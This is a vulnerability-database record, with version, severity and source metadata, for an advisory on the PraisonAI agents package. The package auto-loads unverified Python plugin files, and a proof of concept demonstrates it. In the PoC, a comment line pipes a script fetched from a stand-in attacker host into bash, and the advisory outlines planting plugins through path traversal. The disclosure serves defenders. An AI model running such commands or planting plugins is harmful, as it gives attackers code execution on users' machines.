{"schema":"threatline.record/2","record":{"id":"CVE-2026-61446","aliases":["GHSA-m6wp-h223-4c8g","PYSEC-2026-4271"],"summary":"PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification","details":"### Summary\nThe plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.\n\n### Details\n\n`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):\n\n```python\ndef _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:\n    module_name = f\"praison_plugin_{file_path.stem}_{id(file_path)}\"\n    spec = importlib.util.spec_from_file_location(module_name, file_path)\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[module_name] = module\n    spec.loader.exec_module(module)  # Executes arbitrary Python code\n\n    if hasattr(module, \"create_plugin\"):\n        return module.create_plugin()  # Calls arbitrary function\n```\n\n`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):\n\n```python\n# Auto-discovery paths:\n# 1. Project: ./.praisonai/plugins/\n# 2. User: ~/.praisonai/plugins/\n```\n\nNo code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.\n\n\n### PoC\n\n```python\nfrom praisonaiagents.plugins.discovery import load_plugin\nimport tempfile, os\n\n# Create a \"malicious\" plugin\ntest_dir = tempfile.mkdtemp()\nplugin_file = os.path.join(test_dir, 'evil.py')\nwith open(plugin_file, 'w') as f:\n    f.write('\"\"\"\\nPlugin Name: Evil Plugin\\nDescription: test\\nVersion: 1.0.0\\n\"\"\"\\n'\n            'PROOF = \"CODE_EXECUTED_AT_IMPORT_TIME\"\\n'\n            '# In a real attack: os.system(\"curl attacker.com/shell.sh | bash\")\\n'\n            'def create_plugin():\\n    return {\"name\": \"evil\"}\\n')\n\n# Load it\nresult = load_plugin(plugin_file)\nprint(f\"Result: {result}\")  # {'name': 'Evil Plugin', ...}\n\n# Verify code executed\nimport sys\nfor name, mod in sys.modules.items():\n    if 'evil' in name:\n        print(f\"EXPLOIT CONFIRMED: {mod.PROOF}\")  # \"CODE_EXECUTED_AT_IMPORT_TIME\"\n```\n\n**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.\n\n### Impact\n\n- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access\n- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization\n- **Persistence**: A planted plugin survives restarts and executes every time the framework starts\n- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely","categories":["Libraries & packages"],"product":"praisonaiagents","vendor":"MervinPraison","ecosystem":"pip","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m6wp-h223-4c8g","source_modified_at":"2026-10-08T16:44:05Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonaiagents"},"range":"<= 1.6.77"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61446","source_modified_at":"2026-07-15T13:25:26.252Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"PraisonAI","vendor":"MervinPraison","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"1.6.78"},{"version":"1.6.78","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m6wp-h223-4c8g","source_modified_at":"2026-10-15T14:56:13.419206458Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.78"}]}],"versions":["0.0.1","0.0.10","0.0.100","0.0.101","0.0.102","0.0.103","0.0.104","0.0.105","0.0.106","0.0.107","0.0.108","0.0.109","0.0.11","0.0.110","0.0.111","0.0.112","0.0.113","0.0.114","0.0.115","0.0.116","0.0.117","0.0.118","0.0.119","0.0.12","0.0.120","0.0.121","0.0.122","0.0.123","0.0.124","0.0.125","0.0.126","0.0.127","0.0.128","0.0.129","0.0.13","0.0.130","0.0.131","0.0.132","0.0.133","0.0.134","0.0.135","0.0.136","0.0.137","0.0.138","0.0.139","0.0.14","0.0.140","0.0.141","0.0.142","0.0.143"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-m6wp-h223-4c8g","source_modified_at":"2026-10-08T16:44:05Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"pip","name":"praisonaiagents"},"version":"1.6.78"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-61446","source_modified_at":"2026-07-15T13:25:26.252Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"PraisonAI","ecosystem":null},"version":"1.6.78","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-m6wp-h223-4c8g","source_modified_at":"2026-10-15T14:56:13.419206458Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"praisonaiagents","ecosystem":"PyPI","purl":"pkg:pypi/praisonaiagents"},"version":"1.6.78"}],"cvss":8.4,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00325,"percentile":0.24355,"score_date":"2026-10-23"},"published_at":"2026-07-15T11:25:43.130Z","modified_at":"2026-10-15T14:56:13.419206458Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-m6wp-h223-4c8g","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-08T16:44:05Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-61446","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-15T13:25:26.252Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-m6wp-h223-4c8g","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-15T14:56:13.419206458Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-61446","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g","tags":["vendor-advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61446","source":"GitHub Advisory Database"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62165","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-m6wp-h223-4c8g","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"none","automatable":"no","technical_impact":"total","assessed_at":"2026-07-15T13:20:37.592889Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-15T14:56:13.419206458Z","content_hash":"710760fcc6fb671be77fc53f3298d46230acc30ea663ee35311d00eefe1e98ab"}}